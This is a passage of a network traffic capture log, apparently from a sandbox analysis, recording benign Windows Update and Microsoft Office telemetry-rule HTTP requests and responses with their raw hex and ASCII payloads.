2024-10-18 22:14:03 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: a14e0af2-f01e-003f-22d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221403Z-15b8d89586fxdh48yvzh6as6u400000005rg00000000126g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.10	49803	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:03 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fZCuYDtH+u7nKbh&MD=GUdmc7dn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-18 22:14:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: fc881a20-4ff4-451b-8142-a23c1bcbb55b MS-RequestId: 96c066fd-7a1e-4b1a-aa31-497bd95a26ff MS-CV: vZtNZbq2o0C9v5cC.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 22:14:02 GMT Connection: close Content-Length: 24490
2024-10-18 22:14:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-18 22:14:03 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.10	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:03 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:03 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 746ae867-101e-00a2-15d8-1e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221403Z-16b659b4499stprh7pcpsc0x3n0000000d0g00000000012h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.10	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:03 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:03 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 59a6cbd7-d01e-0065-41d8-1eb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221403Z-15b8d89586flzzksd4nk2msxr400000004x000000000raym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.10	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:03 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:03 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 725408ed-901e-005b-0a92-1f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221403Z-15b8d89586fqj7k5uht6e8nnew00000005cg00000000r0b1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.10	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:03 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:04 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: db3d6755-a01e-0070-49d8-1e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221404Z-r197bdfb6b429k2srg5tfm6hnn000000035g000000008yh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.10	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:04 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 057c9cd8-201e-0096-5dd8-1eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221404Z-16b659b4499v5jm96nrcwszga00000000adg00000000z9et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.10	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:04 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 11479f8e-d01e-00ad-32c9-20e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221404Z-16b659b44999mb85a5wquzbrz800000009mg00000000rzw5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.10	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:04 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:04 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:04 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: fecf3ea1-401e-0016-09d8-1e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221404Z-r197bdfb6b487xlkrahepdse5000000000t0000000003gan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:04 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.10	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:04 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:04 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:04 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 667d1099-601e-003e-17c9-203248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221404Z-16b659b4499mk7vv3349cr2qug0000000d5g00000000753m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:04 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.10	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:04 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:05 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:04 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 20e62c17-a01e-000d-57d8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221404Z-16b659b4499pnh69zuen6a54mc0000000b7g00000000g79r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:05 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> 